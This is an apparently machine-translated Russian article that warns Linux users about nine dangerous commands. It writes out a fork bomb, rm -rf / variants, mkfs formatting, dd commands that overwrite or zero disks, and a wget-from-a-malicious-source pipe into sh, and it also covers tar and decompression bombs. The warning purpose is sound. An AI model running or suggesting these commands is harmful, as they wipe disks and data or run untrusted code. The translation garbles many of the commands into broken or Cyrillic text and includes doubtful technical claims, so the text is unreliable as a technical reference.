Домашняя » рабочий стол » 9 команд и кодов Linux, которые нужно соблюдать осторожность

    9 команд и кодов Linux, которые нужно соблюдать осторожность

    Команды оболочки / терминала Linux очень мощные и простая команда может привести к удалению папки, файлов или корневой папки и т. д..

    В некоторых случаях Linux даже не спросит у вас подтверждения, а выполнит команду сразу, заставив вас потерять ценные данные и информацию хранятся в этих файлах и папках.

    Люди часто публикуют контент в Интернете. рекомендовать новым пользователям Linux выполнять эти команды. Это может показаться шуткой для кого-то, кто разместил контент, но это не смешно для человека на другом конце.

    Мы собрали некоторые команды Linux, которые очень вредны для вашей системы, чтобы помочь вам избежать их. Имейте в виду, что они действительно опасны и могут быть изменены различными способами для создания новых команд нанести больше урона.

    Важно отметить, что некоторые из этих команд опасны, только если в Ubuntu они имеют префикс sudo. В то время как в других дистрибутивах Linux большинство этих команд будет опасно выполнять от имени пользователя root.

    Посмотрите на 9 команд и кодов, которых следует избегать.

    1. Linux Fork Bomb Command

    : () : |: & ;: также известен как Вилка Бомба атака типа «отказ в обслуживании» против системы Linux. : () : |: & ;: это функция bash. После выполнения, это повторяется несколько раз, пока система не зависнет.

    Вы можете избавиться от него, только перезапустив свою систему. Так что будьте осторожны при выполнении этой команды в вашей оболочке Linux.

    2. Команда mv folder / dev / null

    папка mv / dev / null еще одна рискованная команда. Dev / нуль или же нулевое устройство является файл устройства, который отбрасывает все данные, записанные на нем, но сообщает, что операция записи выполнена успешно. Это также известно как немного сломался или же черная дыра.

    3. команда rm -rf

    рм-рф команда это быстрый способ удалить папку и ее содержимое в операционной системе Linux. Если вы не знаете, как правильно его использовать, это может стать очень опасным для системы. Наиболее распространенные комбинации и параметры, используемые с командой rm-rf, перечислены ниже:

    • комната команда используется для удаления файлов в системе Linux.
    • рм -ф Команда удаляет файлы только для чтения в папке без запроса.
    • рм -р команда рекурсивно удаляет содержимое папки.
    • рм-д Команда используется для удаления пустой директории, но она откажется от удаления директории, если она не пуста.
    • rm -rf / Команда используется для принудительного удаления (даже если оно защищено от записи) всего содержимого в корневом каталоге и подпапках.
    • рм -рф * Команда используется для принудительного удаления всего содержимого в текущем каталоге (каталог, в котором вы сейчас работаете) и подпапках.
    • рм-рф. Команда используется для принудительного удаления всего содержимого в текущей папке и подпапках. rm -r. [^.] * команда также может быть использована.
    • рм-я команда используется для удаления файлов и папок, но перед удалением появится подсказка.

    4. команда mkfs

    МКФС может быть опасной командой для вашей системы на базе Linux, если вы не знаете ее назначение. Все, что написано после mkfs, будет отформатировано и заменено пустой файловой системой Linux..

    Все команды, упомянутые ниже, отформатируют жесткий диск и требуют прав администратора:

    • МКФС
    • mkfs.ext3
    • mkfs.bfs
    • mkfs.ext2
    • mkfs.minix
    • mkfs.msdos
    • mkfs.reiserfs
    • mkfs.vfat

    Команда mkfs.cramfs будет делать то же самое, что и выше, но это не требует прав администратора для выполнения.

    5. Тар Бомба

    деготь Команда используется для объединения нескольких файлов в один файл (архивный файл) в .деготь формат. С помощью этой команды может быть создана бомба Tape Archive (Tar).

    это архивный файл, который разбивается на тысячи или миллионы файлов с именами, похожими на существующие файлы в текущем каталоге а не в новый каталог, когда нетронутый.

    Вы можете не стать жертвой смоляной бомбы, регулярно создавая новый защитный каталог всякий раз, когда вы получаете файл tar а затем переместить полученный файл tar в этот каталог, прежде чем распаковывать.

    Если tar-файл действительно является tar-бомбой, вы можете просто удалить созданный каталог, чтобы избавиться от него. Еще один способ избежать взрыва бомбы - через -T возможность перечислить все содержимое файла tar чтобы дать вам представление о типе содержимого, содержащегося в файле tar.

    6. дд команда

    дд команда используется для копировать и конвертировать разделы жесткого диска. Тем не менее, это может оказаться вредным, если вы укажете неправильный пункт назначения.

    Команда может быть любой из них:

    • дд если = / dev / hda of = / dev / hdb
    • дд если = / dev / hda of = / dev / sdb
    • дд если = что-то из = / dev / hda
    • дд если = что-то из = / dev / sda

    Следующая команда обнулит весь основной жесткий диск: дд если = / dev / ноль = / dev / имел

    7. Код сценария оболочки

    Кто-то может стать жертвой дать вам ссылку на скрипт оболочки и одобрить загрузку и выполнение. Скрипт может содержать вредоносный или опасный код внутри. формат команды может выглядеть так: wget http: // some_malicious_source -O- | ш. Wget загрузит скрипт, а sh загрузит выполнение скрипта.

    8. Вредоносный исходный код

    Кто-то дает вам исходный код и просит его скомпилировать. Код может показаться нормальным кодом, но на самом деле какой-то вредоносный код замаскирован в большом исходном коде и это может нанести вред вашей системе. Чтобы не стать жертвой такого рода атак, принимать и компилировать ваш исходный код только из надежных источников.

    9. Декомпрессионная бомба

    Вы получили сжатый файл, и вас попросили извлечь этот файл, который кажется очень маленьким по размеру, но может занимать несколько КБ. по факту, этот сжатый файл небольшого размера содержит очень сильно сжатые данные.

    После распаковки файла извлекаются сотни ГБ данных, может заполнить ваш жесткий диск чтобы снизить производительность вашей системы. Чтобы избежать этой ситуации, всегда не забывайте принимать данные из надежных источников.